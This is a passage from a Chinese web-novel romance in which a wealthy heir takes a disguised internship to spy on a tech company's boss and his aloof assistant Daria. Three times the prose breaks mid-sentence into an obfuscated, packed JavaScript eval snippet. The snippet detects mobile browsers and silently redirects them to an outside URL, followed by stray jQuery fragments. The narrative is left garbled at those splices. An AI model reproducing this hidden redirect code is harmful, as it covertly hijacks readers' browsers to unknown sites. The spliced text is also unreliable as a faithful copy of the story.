陈柯杨脑袋“嗡”地一声,瞬间反应过来,自己被那个女人给耍了!
好一个诡计多端的狐狸精!
不过事已至此,倒不如将计就计。
他心思一转,立刻打开电脑,十指在键盘上飞速敲击,以最快的速度赶制了一份研究生简历。
出于种种考量,他刻意淡化了大部分亮眼的创业经历,好在有普林斯顿大学的光环加持,这份简历很快就通过了审核。
杜美芳回复道:“明天你有空吗?来趟合光科技总部,咱们当面聊聊。”
面试时间定在下午三点,陈科杨一大早便从床上爬起来,吩咐管家David准备一套工作装。
David丝毫不敢怠慢,马上取来意大利设计师为他量身定制的羊绒西装。线条利落,质地考究,穿上能直接走T台。
然而陈柯杨只瞄了一眼,就果断拒绝:“我要最普通的那种,预算控制在一千块以内。”
David差点以为自己听错了。
他在西郊庄园工作了二十年,对这家人的生活习惯再熟悉不过。二少爷虽然从小不受宠,但吃穿用度也从来没马虎过。如今好不容易回国,眼看就要接手家业,怎么反倒过起寒酸日子了?
莫非董事长要把他发配到基层历练?
David满腹狐疑,却也不敢多嘴,只得连声应下,依照吩咐去重新准备。
下午两点四十五分,陈柯杨抵达合光科技总部,在前台小姐姐的引领下进了招待室,一边填简历,一边等待杜美芳到来。
杜美芳是个很守时的人,三点钟刚到,他便夹着笔记本推门而入。
这是个四五十岁的中年男人,挺着圆滚滚的啤酒肚,脑门锃光瓦亮,头顶一片地中海,实在很难跟“美芳”两个字搭上边。
反倒是陈柯杨,让杜美芳眼前一亮。
他穿着刚从批发市场买来的灰色套装,面料粗糙,款式简单,甚至袖口还挂着几缕线头。但偏偏就是这么一身不起眼的行头,穿在他挺拔修长的身子上,竟别有一番独特的气质。
此外,他还戴了副黑框眼镜,身侧端端正正地放了个双肩包,略带自来卷的短发打理得一丝不苟,配上清秀的面庞和专注的神情,活脱脱一个品学兼优的乖乖崽。
杜美芳对他的第一印象非常不错,接下来的面试也进行得十分顺利。
到最后,他干脆把HR叫了进来,当面敲定工资待遇和到岗时间,仿佛生怕这个普林斯顿香饽饽下一秒就反悔跑路了。
面试结束后,杜美芳亲自将陈柯杨送出招待室,似乎意犹未尽,又拉着他去茶水间聊家常。
不一会儿,前台小姑娘领着几个年轻女员工走到旁边的办公区,嘴上说着工作,目光却一波接一波地往茶水间这边瞟。
陈柯杨当然知道她们在看什么,却故意装作不懂,还一脸天真地感慨:“咱们公司的工作氛围可真好啊。”
杜美芳被他逗乐了:“咱们这行女孩儿多,特别热闹,而且沈老板从不干涉办公室恋情,只要你踏实肯干,过不了几年,保准爱情事业双丰收。”
听了这话,陈柯杨嘴角一抽,暗暗嘲讽:沈让自己就跟女助理纠缠不清,当然没资格管别人的闲事了。
杜美芳正聊得起劲,下一秒,周遭的空气突然凝固了,同事们的目光齐刷刷地看向了公司大门。
紧接着,一道窈窕的身影步入众人视野。
Daria今天穿了一件优雅的黑色长风衣,独特的腰带设计勾勒出盈盈一握的腰身。两条笔直修长的美腿,裹上一双黑色长筒皮靴,愈发显得身姿高挑,线条匀称,气场十足。
陈柯杨发现她对黑色情有独钟,自相识至今,还没见她换过别的颜色。
这片办公区域不算大,Daria很快就注意到了体重190的杜美芳和身高190的陈柯杨。
她瞳孔微缩,随后蹙起眉头,似乎在想:这小子怎么阴魂不散?
虽然这会儿已经不早了,但出于礼貌,杜美芳还是笑呵呵地打了声招呼:“早上好啊,Daria。”
Daria点了点头,脚下步伐明显加快,显然并不想掺和与自己无关的话题。
但陈柯杨怎么会放过她?他唇角轻轻一挑,转头对杜美芳说:“是Daria小姐将您的名片给了我。”
“真的吗?实在太感谢了。我为这个岗位愁了半个月,总算有了心怡的人选。Daria,我一定得请你吃顿饭。”
杜美芳面子给得足,Daria却没心思跟他客套,只淡淡丢下一句‘没事’,便转身进了总经理办公室。
杜美芳望着她的背影,忍不住感慨:“Daria这孩子真是心地善良,公司里不管谁遇上难事,她都惦记着帮一把。”
陈柯杨对此表示怀疑:“我怎么感觉,她像个面冷心硬的女强人。”
杜美芳向他解释:“俗话说,伴君如伴虎。Daria是老板身边的人,自然得把架势做足,不然什么阿猫阿狗都来套近乎、瞎打听、造闲话,公司的管理就乱套了。”
陈柯杨眼中闪过一丝不易察觉的兴趣:“她中文名叫什么?”
“秦雨寺。”
“中国人吗?”
“混血吧。你问这么多干吗?看人家长得漂亮心动了?”
陈柯杨没吭声,杜美芳就当他默认了,语重心长地劝起来:“别费心思了,Daria这种女人,见过的大场面多了,眼光高得很,怎么可能看上你这种一穷二白的小帅哥?听我一句劝,踏实上班,多攒点钱,回头哥给你介绍合适的。”
陈柯杨面上不动声色,心里却冷笑:照这么说,只要有钱有势,就能让她打破底线?哪怕对方已经有了未婚妻和即将出生的孩子,她也可以毫无顾忌地插足?
简直是荒谬透顶,无耻至极!
等着瞧吧,我倒要看看,这背后到底藏了多少见不得人的龌龊事。
***
陈柯杨决定入职合光科技,倒不是为了当狗仔,专门扒拉“狗男女”下三滥的事迹。
润池集团虽然产业庞大,但在美容护肤这一块,起步晚,底子薄,论研发和口碑,还真比不过合光科技
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363427|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。陈柯杨想借实习的机会,好好探探沈让的家底。
还有一层考量——最近圈子里都在暗传,沈让人品堪忧,竞争手段极其下作,迟早得把自己玩进去。
陈柯杨对此深信不疑,心里盘算着,如果能搜集到沈让违法的证据,那扳倒他可就轻松多了。
总经办是整个公司最核心的部门,哪怕是实习生,入职前也得经历几轮背景调查。好在陈柯杨十几岁就去了美国,陈家为了确保他的安全,保密措施做得相当到位,只要不搞非法“开盒”那一套,家世背景基本不会泄露。
一周后,陈柯杨正式入职合光科技。
他来之前,公司新招了个帅哥的消息已经传得沸沸扬扬。原本沉闷的周一早晨,众人一扫往日的无精打采,脸上满是按捺不住地期待。
陈柯杨还是那身面试穿的灰色套装,背着双肩包,身姿笔挺,青涩中又透着几分朝气。
同事们对这位帅弟弟可谓相当喜爱,争着抢着给他当向导。一群人前前后后地张罗着,直到陈柯杨填好入职资料,签完合同,领齐办公用品,才将他送进总经办的独立办公室。临出门前,还不忘约他一起吃午饭。
陈柯杨刚在工位上坐定,杜美芳便从会议室大步走出来,热情招呼道:“小陈来了!刚才开会没顾上你,手续都办好了吧?”
得到肯定答复后,杜美芳便领着他穿过办公区,挨个向部门同事做介绍。
总经办是藏龙卧虎的地方,能进来的都是人精,自然不会把情绪写在脸上,即使新来的同事帅得不讲理,也只是淡淡地打声招呼。
随后,杜美芳将几份表格塞给陈柯杨,让他试着整理。
别说,还真是最基础的实习生工作。
陈柯杨一边敲键盘,一边犯嘀咕——老杜之前摆出那一副求贤若渴的模样,合着就是为了招个打杂的啊。
与此同时,好几天没跟老板联络的Dylan终于坐不住了,主动发来消息:“赛达集团董事长组了个高尔夫球局,他们手上有几个不错项目在招投资,要不抽空见个面?”
陈柯杨秒回:“在上班,走不开。”
半分钟后,Dylan发来一连串问号,后面还跟着一张“大受震惊”的表情包。
“上班?我就在润池总部大楼里,怎么没见你来上班?”
“没,我入职别家公司了。”
“什么?”Dylan大脑飞速运转,疯狂琢磨这句话背后的含义。
难道陈柯杨放弃继承家业,又跑回去干工程师的老本行了?这也太他爹的突然了吧!
“老陈家有几辈子都花不完的钱,为什么要打工?给你开几千万的年薪?”
陈柯杨淡定地回:“一个月六千五,风吹不着雨淋不着,我挺满意。”
“......”
要不是这人是他老板,Dylan真想爆句粗口:你丫有病吧!
就在这时,总经办的玻璃门被轻轻推开,两位年轻女子一前一后走了进来。
前面的女人身形高挑,穿着黑色短款皮衣,搭配黑色羊绒长裙,棕色长发肆意垂落,在阳光下泛着细碎的金色光泽。她的脸色近乎瓷白,神情冷淡,像一座万年不化的冰山,自带拒人千里的寒气。
紧随其后的姑娘,一头蓬松的大波浪披散在肩头,气质慵懒又迷人。她个子不算高,但五官生得极为明艳,尤其是那双微微上挑的眼角,哪怕不笑,也自带三分风情。
杜美芳见到来人,立马笑着起身,还拉了陈柯杨一把,殷勤道:“咱们公司的两位大美女,沈老板的左膀右臂,必须向你介绍介绍。”
5. 初交锋
杜美芳先介绍陈柯杨:“这位是我们部门新来的实习生,陈柯杨,普林斯顿大学的高材生,初入职场,还在熟悉环境。以后工作上,还请两位多多关照。”
说完,他转身面向两位女士,依次介绍。
“这位是秦雨寺,Daria,董事长助理,毕业于芝加哥艺术学院。你们认识,我就不多啰嗦了。”
“这位是洛清源,Emily,今年刚加入合光科技,担任董事长的二助。”
“两位老师跟咱们部门有不少工作交集,往后你多跟着学习学习。”
陈柯杨心里乐不得,面上却波澜不惊,只是淡淡应了声“好”。
洛清源是大大咧咧的性子,一听这话,立马爽朗地笑起来:“别这么客气啦,职场如战场,往后咱们就是并肩作战的战友,互相扶持、共同进步呗。”
陈柯杨礼貌笑笑,目光不动声色地转向秦雨寺,心想:董事长的二助都这么能说会道,那身为一助的秦小姐,情商不得高到天上去啊?
然而,秦雨寺却仿若未闻,那双漂亮的褐色眸子缓缓转向窗外,像是刻意回避陈柯杨的目光。
陈柯杨就纳闷了:这么冷淡的人,到底是怎么当上董事长助理的?抛开工作不谈,单论“情人”的角色,她也不像是那种柔情似水、善解人意的类型,沈让到底看上她哪点了?
不过转念一想,秦雨寺是怎样的人,跟他又有什么关系呢?
他掏出手机,主动提议道:“我加一下两位的联系方式吧,往后工作上有什么需要,可以随时找我。”
“只能是工作上的事儿吗?私事儿不行吗?”洛清源拿出手机,眼角一挑,笑着调侃。
“行,都行。”陈柯杨推了推鼻梁上的眼镜,耳根微微泛红,活脱脱一个不经撩的青涩小男生。
洛清源先一步加了微信,秦雨寺也没推辞,上前扫了他的二维码。
见双方客套得差不多了,杜美芳适时开口:“行啦,先去忙吧,有什么事儿随时沟通。”
说完,他抬手去推玻璃门,忽然听到背后响起一道清冷的声音:“杜总,你过来一下,我有话要跟你说。”
陈柯杨脑子里飞速窜出一个念头:鬼妹果然不是省油的灯!看这架势,八成是对他的身份起了疑心,想找个借口让他卷铺盖混蛋。
什么人啊,自己多疑就算了,还想断送别人的前程。呵呵,这点气量,狗公司迟早得完蛋。
杜美芳走了挺长时间,陈柯杨百无聊赖,随手点开了秦雨寺的微信资料。
她的头像是一座笼罩在濛濛烟雨中的寺庙,昵称是简洁的“雨寺”二字。倒是和她本人如出一辙,清冷、疏离、带着一股生人勿进的距离感。
他手指一滑,点进朋友圈。
最上方的背景图是一幅北国风景——白桦树的枝头压着厚厚的积雪,阳光洒下来,雪粒像钻石般闪着细碎的光芒。
往下翻了翻,居然一条动态都没有,比杜美芳还无聊。
约莫半个小时后,杜美芳才慢悠悠地从会议室出来,连个眼神都没给陈柯杨,径直回到工位上忙活起来。
嚯,看来是没谈拢。
陈柯杨懒得费脑筋琢磨这些弯弯绕绕,索性起身,去茶水间接杯热水。
有时候,缘分就是这么不讲道理,他刚按下饮水机的开关,一抬眼,又撞见了那个漂亮得像从油画中走出来的女人。
秦雨寺脱了外套,只穿一件黑色紧身高领薄毛衣,将高挑纤细的身形勾勒得恰到好处。她的耳垂上戴着一对小巧的黑色钻石耳钉,低调却精致,衬得整张脸愈发清丽无瑕。
她手中端着一个半透明的黑色玻璃杯,杯口氤氲着淡淡的雾气,应该是刚冲好的咖啡。
黑色,又是黑色,她还真是对黑色情有独钟。
“你好,Daria。”陈柯微微扬起嘴角,主动打了招呼。
秦雨寺眼帘微垂,点了点头,算是回应。
陈柯杨本以为自己又要遭遇“冷暴力”,却听这位冰山女神忽然开了口:“你袖口上有根线头,沈总很注重员工的形象。”
陈柯杨没想到她会说这个,随即眼珠一转,笑着回道:“我才开始实习,手头不宽裕,等下个月发工资了,一定买套质量好点的工作装。”
“可那晚的活动上,你穿了一套LOEWE。”秦雨寺语气平静,像是随口一提。
“哦,是品牌方赞助的。”陈柯杨从容不迫地回答。
“那在18EVER呢?你手上那块百达翡丽也是赞助的吗?”她唇角微微一动,笑意若有似无。
这下,陈柯杨倒是真的有些意外了。
那个昏暗嘈杂的夜晚,他以为秦雨寺根本没看清自己,或者说,早就将那段插曲抛诸脑后了。没想到,她竟然连自己腕上的手表都记得一清二楚。
这个女人,果然不简单。
“是赞助的,当天拍摄结束就还回去了。”他迅速调整好表情,又刻意转了转袖口下空空的手腕:“这世上只有穷人装富,哪有富人装穷的?”
其实,像陈柯杨这样形象出众,又兼职KOL的男生,就算买块好表撑门面也不稀奇,但秦雨寺的直觉向来敏锐,第一眼见到他时,就觉得这人非常可疑。
“如果没别的事,我先回去工作了。”陈柯杨觉得眼下的处境就是多说多错,不如找个台阶赶紧开溜。
“等一下!”
他刚转过身,秦雨寺的声音就从背后追了过来:“我看过你的简历了,学历非常出色,考不考虑换个更有前景的岗位?企划部最近正好缺人。”
这个提议实在很突兀,陈柯杨脚步一顿,缓缓转过身来,脸上依旧挂着温和的笑。
此时,两人之间不过一步之遥。陈柯杨本就身材高大,离得近了,愈发显得压迫感十足。
他微微俯身,以一种居高临下的姿态看着秦雨寺,唇角似笑非笑:“姐姐,你就这么不喜欢我吗?”
秦雨寺不由蹙眉——他们不过是点头之交,哪来的喜欢不喜欢一说。
“可是我很满意现在的岗位,而且合同都已经签好了。”
陈柯杨语气中带着几分戏谑:“如果没记错,我的直属上司杜秘书,应该比你职高一级吧?为什么他没跟我提过调岗的事?难道这只是你个人的想法?”
秦雨寺下意识地垂下眼帘,浓密的睫毛轻轻颤动几下,瓷白的脸颊或许因为吹久了空调,泛起一抹淡淡的红晕,好像傍晚天边晕染的霞光。
“我只是提个建议,没有为难你的意思。”她的声音依旧平静,听不出什么情绪波动。
“多谢你的好意,我在老美读书的时候,习惯了讲话直来直去,如果有冒犯的地方,请多包涵。”
秦雨寺讨了个没趣,倒也不觉得尴尬,只是淡淡点了下头,随即端着咖啡不徐不疾地走开了。
*
打工人的八小时总是格外漫长。陈柯杨上午就处理完了所有表格,中午被几位热情的女同事拉去吃了顿味同嚼蜡的工作餐,到了下午,就彻底闲下来了。
他握着鼠标,微微眯起眼睛,在四周机械而单调的键盘声中,思考着Dylan发来的品牌战略策划书——
润池集团旗下的护肤品牌Ivanti,目前在市场上的知名度还不高,这正是他和团队急于解决的难题。
比起追求短期效益的“烧钱”战术,美舒雅在营销策划方面的确有许多值得学习的地方。如果有机会去企划部取取经,说不定比守在沈让身边拍马屁更有价值。
想到离开总经办这个可能,他脑海中立刻浮现出一道倩影:高挑的身材,白皙的皮肤,锐利的轮廓,还有那双清清冷冷,拒人于千里之外的眸子。
不得不说,鬼妹虽然心肠冷硬,但这副皮囊还真是绝色无双。
正胡思乱想着,脑海中的身影忽然从虚景变成了现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363428|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实。只见秦雨寺快步从会议室走出来,手里紧握着手机,像是有什么紧急情况要处理。
没过几分钟,她又始料不及地折返回来,手臂撑在门框上,冲陈柯杨招了招手:“Chris,你过来一下。”
出了办公室,秦雨寺开门见山,语气干脆:“你今天还有事吗?要是没有,就收拾一下东西。”
听了这话,陈柯杨心里‘咯噔’一下,忍不住暗骂:一个情妇而已,还真拿自己当老板娘了?就算是正儿八经的老板娘,也不能嘴皮子一动就开除员工吧!
尽管心里骂得难听,面儿他上还是放低姿态,可怜巴巴地求情:“姐姐,就非得赶我走吗?我真的很想留在沈总身边工作,他是我最仰慕的企业家。
秦雨寺明显愣了一下,可能是被他搞的有些无语,连嘴里的中文都夹了点生硬的口音:“我是让你收拾一下随身物品,晚上陪沈总见几位客户。”
“啊?为什么是我?”陈柯杨不免觉得意外,办公室里满满登登一屋子人,这种抛头露面的事,怎么也轮不到一个新员工吧。
秦雨寺的目光像扫描仪似的,将他从头到脚打量了一遍,最后轻飘飘地说:“因为你形象好。”
行吧,老外说话真是一点也不拐弯抹角,不过也好,至少让人听着心情愉快。
“现在就要走吗?还不到三点呢。”
“嗯,先去酒店陪沈总试衣服,他可能有些事情要跟你当面交代。”
两人一起来到地下车库。秦雨寺的车是一辆黑色的奔驰E260,车内布置得简约整洁,没有半点的杂物,干净得像刚从4S店提出来似的。
如果非要找出什么能彰显车主身份的痕迹,大概只有空气中那缕若有似无的木质香。
秦雨寺开车的动作十分娴熟,过一个大转弯时,她的袖口随着方向盘的转动微微下滑,露出一截白皙的小臂,好似冬日里的一抹新雪。
陈柯杨不由自主地抬眼,只见她细碎的棕色发丝在风中轻柔摆动,精致的侧脸被阳光勾勒出金色的轮廓,宛如造物主精心雕琢的艺术品。
陈柯杨很少坐副驾驶,更鲜有与女人独处的机会,这是他第一次感受到,原来有人开车也能如此赏心悦目。
下午的阳光透过车窗,直直洒在秦雨寺的脸上,带来一种难言的灼热感。但比起太阳,更灼人的是来自右手边的目光。
好在她早就习惯了别人的注视,并未表现出丝毫不自在。
“你见过沈总了吗?”她主动开口打破沉默。
“入职后还没来得及见。”陈柯杨回答。
“沈总不会为难新人,到时候跟他正常相处就好。”
陈柯杨还是想不明白:“所以为什么叫上我?我对公司的业务完全不了解。”
合光科技总部有几百号人,沈让不可能安排一个初出茅庐的新人接待重要客户,这显然是秦雨寺自己的主意,难道她又想耍什么阴招?
秦雨寺似乎察觉到了他的心思,不紧不慢地解释:“沈总最近胃病犯了,本来已经推了几场应酬,但今晚的客户非常重要。”
陈柯杨恍然大悟——她这是心疼自家老板饮酒伤身,所以专门找个了挡酒的大冤种。
真是小瞧鬼妹了!原来她的冷脸只面向无关紧要的人,等到取悦金主的时候,可就表现得相当卖力了。
陈柯杨冷哼一声,旋即又恢复了青涩的模样,甚至连声音都带了点恰到好处的紧张:“我不知道该和客户聊什么,万一搞砸了怎么办?”
秦雨寺目视前方,语调沉稳地安慰:“有我在,不用担心,见机行事就好。”
片刻之后,她忽然问起:“对了,你的酒量怎么样?”
“不好意思,我平时很少喝酒,所以酒量还是个未知数。”
陈柯杨微微眯起眼睛,将她从上到下打量一遍,最后眉梢一挑,戏谑地问:“那你呢?你的工作就是陪人喝酒吗?”
6. 真可怕
秦总助不愧是经历过大风大浪的女人,被人贴脸嘲讽依然面不改色。
只见她浅浅一笑,从容地回答:“为了工作,这些都是不可避免的。”
陈柯杨微微挑眉,抛出了一个好奇很久的问题:“你是哪国人啊?”
秦雨寺知道他问的是血统而不是国籍,便回答:“我妈妈是俄罗斯人。”
原来是把伏特加当水喝的战斗民族啊。
陈柯杨接触过的俄罗斯人不多,但刻板印象早已根深蒂固。想来这位女士定是酒桌上的巾帼豪杰,觥筹交错间便能让客户心甘情愿签下大单。
再看看自己,不过是个初出茅庐的清纯男大,还是识趣点,别跟着凑热闹了。
汽车很快就抵达了沈让下榻的五星级酒店,两人乘坐高速电梯直达顶层的总统套房。
秦雨寺拿着房卡,象征性地敲了两下门,随后轻车熟路地刷卡而入,仿佛她就是这儿的女主人。
一进门,映入眼帘的是二十多平、铺着黑金沙大理石的入户方厅。往左一拐,便是江景大客厅,近百平的空间大气恢弘,装修极尽奢华。最为惊艳的是一整面朝江的超大落地窗,放眼望去,波光潋滟的泗茗江和鳞次栉比的商业建筑群///交相辉映,尽收眼底。
此时,沈让正裹着真丝浴袍,惬意地窝在真皮沙发里,宛如古罗马盛宴上的贵族。
他双臂搭在沙发靠背上,一只手摇晃着红酒杯,另一只手把玩着紫檀佛珠。不经意间,露出腕上金光闪闪的劳力士表。
知道的,这是总裁的日常生活,不知道的,还以为你丫拍展示面呢。
陈柯杨出身豪门,反倒不太在意物质上的享受,一向都是怎么舒服怎么来,对于这种有意无意的炫耀行为,只有深深的鄙视。
秦雨寺一进门就问:“今晚的西装送过来了吗?”
沈让听到熟悉的声音,缓缓转过头来,露出刀削般俊朗的侧脸:“送过来了,在卧室里。”
秦雨寺闻言,立马去里间取出那套定制西装,一边拆包装,一边数落起来:“既然都送到了,为什么不自己试一下?”
沈让起身,笑意中带着几分懒洋洋的调侃:“没有你把关,我可拿不定主意。”
“少来这套,快去把裤子和衬衫换上。”
秦雨寺脸色不太好看,语气也硬邦邦的,丝毫没有下属对领导的谄媚劲儿。
沈让似乎习以为常了,没有表现出任何不悦,笑呵呵地接过衣服去了衣帽间。
但凡上过网的人都知道,沈让对衣食穿戴都是出了名的挑剔,鬼才信他连选套西装的主意都拿不定。眼前这一幕,分明是小情侣间的打情骂俏。陈柯杨只觉得恶心!恶心透顶!
这会儿秦雨寺空下来,将陈柯杨领到沙发旁,给他倒了杯热咖啡,算是尽了地主之谊。
陈柯杨环视四周,发现屋里有不少私人物品,便随口问:“沈总平时一直住在这儿吗?”
“嗯,沈总工作比较忙,就在市中心长租了这间套房,隔三差五过来住一晚。”
“他家不是就在市中心吗?”
秦雨寺解释道:“那边是住宅区,离公司近些,日常通勤方便。这里是林淮最繁华的商业圈,各种商务宴请都安排在附近。虽说两边路程不远,但早晚高峰堵车厉害,沈总不喜欢把时间浪费在路上。”
对于日理万机的大老板来说,这样安排也算合理,但陈柯杨忽然冒出一个很恶趣味的想法:你家紧挨着沈让家,那沈让出来住酒店的时候,你是不是也要在旁边开间房?
不过转念一想,沈让这样的男人怎么会缺少女伴?说不定出来住酒店,就是为了换换口味呢。
秦雨寺像会读心术似的,不咸不淡地开口道:“他倒是省事了,可怜我这个打工的,只能两头忙活。”
陈柯杨笑着捧场:“秦老师真敬业,我得向您学习。”
说话间,沈让已经换好衣服,从衣帽间走了出来。他穿着一条熨烫妥帖的墨蓝色西装裤,上身是件雪白的亚麻衬衫,西装外套随意搭在臂弯处。
“Daria,看看怎么样。”
秦雨寺朝他走近两步,仔细打量一番。这套意大利高级定制西装出自拥有三十年经验的老匠人之手,无论做工还是面料都挑不出半点毛病。
“挺好的,很适合你。”她如实评价。
“嗯,听你的。”
沈让在落地镜前驻足良久,而后转身朝向秦雨寺,用手指勾了勾衬衫领子。
秦雨寺心领神会,上前一步仔细为他系好领带。这种默契,显然不是一朝一夕练出来的。
陈柯杨在美国创业的时候,跟兄弟们同吃同住,直到公司步入正轨,才招了个男助手处理日常事务。
即便是他那个拥有四位美女助理的董事长老爸,也仅限于过过眼瘾,私生活上严格遵守“兔子不吃窝边草”的准则。
真是,宁信黄河没有水,也不信这俩人没一腿。
沈让对着镜子欣赏了半天,显然对今天的造型非常满意。又过了片刻,他才注意到角落里的陈柯杨。
“你就是总经办新来的小伙子?”他转过身,慢条斯理地问道。
陈柯杨连忙起身,自报家门:“沈总您好,我是实习生陈柯杨,您可以叫我Chris。”
沈让冲他扬了扬下巴:“过来让我看看。"
陈柯杨依言走过去,在距离他一臂远的地方站定。一时间,两个初次见面的男人默契地打量起彼此。
沈让西装笔挺,背头纹丝不乱,周身散发着一种‘斯文败类’的魅力。这一点在某音上获得了数百万粉丝的认证,陈柯杨并无异议。
只不过,沈让平时总以温和儒雅的形象示人,近距离接触才发现他目光锐利,气质阴冷,绝对是个难搞的狠角色。
沈让鲜少关注底层员工,之前听说杜美芳招了个帅气的小伙子,他也没怎么在意。如今亲眼所见,确实相当出挑。
陈柯杨的个子比沈让还要高出一截,身形笔拔,像棵从山野里拔出来的小松树,自带一股傲劲儿。
这种形象,应该是各个年龄段的女性都会喜欢的类型,就是穿着方面吧......有点寒碜。
“杜总没给你安排工作装吗?我记得总经办的员工是有这项福利的。”
秦雨寺在旁边提醒:“这项福利要转正之后才能享受,他今天刚刚入职。”
“哦,没关系,回头催一下行政部,尽快给他做一套,小伙子蛮不错的。”
沈让似乎对陈柯杨很有兴趣,主动将他拉到身边,问了些诸如“在哪里上学?交往过几个女朋友?喜不喜欢参加party?酒量如何?”之类的问题。
陈柯杨越听越觉得不对劲,心中暗道:靠!你们是正经公司吗?
沈让自顾自道:“如今这个时代,女老板、女领导越来越多了,尤其咱们的行业,说是半壁江山都不为过,优秀的小伙子一定要把握机会。”
陈柯杨恍然大悟,杜美芳所谓的“爱才惜才”,原来是想招个以色侍人的小奶狗!
这个念头一闪而过,他又瞥了眼身旁容貌精致的秦雨寺,顿时觉得魔幻又好笑。
沈让把自己打造成公司的头牌,再招个女公关取悦男客户,招个男公关
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363429|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伺候女客户,算盘打得叮当响,倒不如直接改行开夜总会算了。
秦雨寺的脸色阴沉得几乎要滴出水来。
她轻咳一声,努力朝陈柯杨挤出一个不太自然的笑:“今晚的饭局是临时安排的,客户都是老熟人,等会儿你就坐我旁边,随机应变,不用太紧张。”
陈柯杨冷哼:你俩搁我面前演双簧呢?
尽管满心鄙夷,他还是沉住气,顺从地应道:“好的,一切听从老板的安排。”
沈让对他的态度颇为满意,又顺势展开了一番谆谆教导:“人靠衣装马靠鞍,年轻人初入社会,最重要的就是打造形象。哪怕花两个月的工资买套好衣服都是值得的。记住,金钱的最大价值在于投资你自己。”
陈柯杨暗地里翻了个白眼:你身上这套西装,撑死也就十七八万,我衣柜里随便拎出一件都不止这个数,真不知道你在装什么β。
虽然心里不服,嘴上却很乖巧:“沈总说得对,等我转正之后,第一件事就是添套好行头。”
沈让端出一副“上位者”的姿态,重重拍了下他的肩膀,语重心长道:“年轻人好好努力,将来什么都会有的。”
说完,转头吩咐秦雨寺:“Daria,小陈的身材跟我差不多,你带他去我家挑一套衣服吧。哎,梅总那个女人是出了名的颜控,实在难搞。”
秦雨寺看起来十分无奈,但似乎早就习惯了领导的临时起意和工作的琐碎无常,只能轻叹一声,载着陈柯杨去了沈让的别墅。
沈让极好面子,且财力雄厚,品味不俗。他这座豪宅的奢华程度暂且不论,单是衣帽间就有近百平方米,三层置物架铺天盖地,全是清一色的大牌服装,让人眼花缭乱。
相比之下,陈柯杨都要被归为不爱打扮的“直男”了。
秦雨寺扫了一眼陈柯杨的身形,很快就在右侧玻璃柜中锁定一套黑色西装。她取下衣服,翻看了领口的尺码标签,确认无误后,利落地递过去:“这件你能穿,去试一下吧。”
这是一套顶级羊毛面料的高定西装,整体为深邃的黑色,宛如静谧的夜空。细看之下,面料中暗藏着一道道若隐若现的亮线,恰似夜空中划过的流星。
低调中透着不易察觉的奢华,说白了,就是闷骚。
以陈柯杨的眼光看,这套衣服在整面柜子里绝对不算便宜的。
他一边摩挲着布料,一边故作惊讶地问:“应该很贵吧,借给我穿真的没问题吗?穿过之后要怎么处理?”
秦雨寺用例行公事的口吻回答:“这套西装沈总已经十八个月没碰过了,往后再穿的可能性也不大,你随意就好。”
嚯,您这助理当得可真够称职的。
陈柯杨是含着金汤匙出生的富家少爷,何时穿过别人的旧衣服?更别提还是沈让那个恶心家伙的衣服,真的想想都觉得犯膈应。
但为了有朝一日狠狠地报复这对狗男女,他最终还是咽下恶气,硬着头皮进了试衣间。
陈柯杨生得一副好相貌和模特般的身材,换上剪裁得体的高档西装后,整个人的气质瞬间变了,活脱脱就是个贵气逼人的公子哥。
秦雨寺双臂环胸,目光在他身上游移了一圈,总觉得哪里还差点意思。
片刻之后,她终于意识到问题所在,拉开身旁的抽屉,取出一条与西装色调相配的领带。
“你把这个系上。”
陈柯杨眼珠子一转,忽然露出一幅很欠揍的表情:“不好意思啊姐姐,我这人比较粗糙,没穿过西装,真不知道领带该怎么系。”
“能麻烦你帮我系一下吗?就像刚才帮沈总那样。”
7. 一杯倒
秦雨寺呆立在原地,好半天都没回过神来。
陈柯杨耸了耸肩膀,轻巧地说:“不愿意就算了,反正我不打领带更舒服些。”
秦雨寺又纠结了一会儿,最终还是说服了自己——工作而已,没必要跟毛头小子置气。
打定主意后,她拿着领带,朝陈柯杨招了招手:“过来点,我帮你系。”
陈柯杨心满意足地走上前,体贴地俯下身子。从这个角度,恰好能看到她光洁的额头和细致的眉眼,鼻息间还能捕捉到她身上若有似无的淡香。
秦雨寺拈起领带一端,小心翼翼地绕过他的脖颈。
兴许是因为换了个服务对象,她的动作明显有些生疏,一双眼睛紧紧盯着衬衫领口,坚定得像个苏联女战士。
怎么说呢?莫名透着股憨厚的可爱。
两人靠得很近,近到可以感受到彼此的气息。陈柯杨双臂微微张开,像一张蓄势的弓,只要轻轻一收,就能将眼前的人拢入怀中。
